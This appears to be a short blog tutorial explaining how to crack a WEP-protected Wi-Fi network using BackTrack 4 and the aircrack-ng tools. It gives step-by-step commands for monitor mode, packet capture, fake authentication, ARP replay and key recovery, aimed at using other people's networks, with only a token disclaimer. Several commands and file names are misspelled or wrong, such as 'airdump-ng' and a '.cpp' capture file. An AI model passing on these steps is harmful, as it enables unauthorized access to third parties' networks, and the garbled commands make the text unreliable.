Hack a Wireless Network
I always use to wonder how this hackers crack in to wireless network and get access to internet through others network.
This is not a smartness of a Hacker rather than its the mistake of a user to keep the security type to WEP (Wireless Equivalent Privacy ).Before going in to the topic, i would suggest you to use it for knowledge and not for cracking in to others network.
This is how we do it.
1.Go to http://backtrack-linux.org website and in the download tad download the file named backtrack4.iso.
2.now burn the (iso) file in to a DVD and restart your computer.
3. Boot your computer through DVD and type “startx’ and enter when you see a blue command in the console.
4.Now wait for the Interface to start.
5. When you have the Interface started go to the console and type” /etc/init.d/networking start”
6. Now to learn the name of your Wireless Card type “airmon-ng” and you will know the name of your wireless card.
7.Now type“airmon-ng stop Wireless Card Name” (which you have noted).
8.Now type“airmon-ng start Wireless Card Name” (which you have noted).
9.again type “airmon-ng”
10.Now type“airdump-ng start Wireless Card Name” (which you have noted).
You will see all the wireless networks on your range, now see the WEP type security and note down its channel, bssid,essid note them and press Ctrl + C.
11. Now type“airodump –ng- w wep –c channel number – bssid bssid number wireless card name”
12. Open a new Console now
12.a Type “airplay-ng –10- -a bssid wirless card name “
Now you are connected to the Wireless Network.
13. Open a New Console again.
13a. type “airplay –ng –3 –b bssid wirelss card name”
go to the first console(1)
you will c that you have started sending a receiving data from the wireless network when the packets reach 30000.
See the 2nd console (12)
press Ctrl + C.
type “dir”
and locate a file name with extension .cpp andnote the file name
now type aircrac-ng filename(that you noted).cpp
you will see the WEP key on the screen.
restart your computer and eject the DVD and login to your OS and type the WEP key and get the access to the wireless network
I tried this on my own router.
Enjoy :D
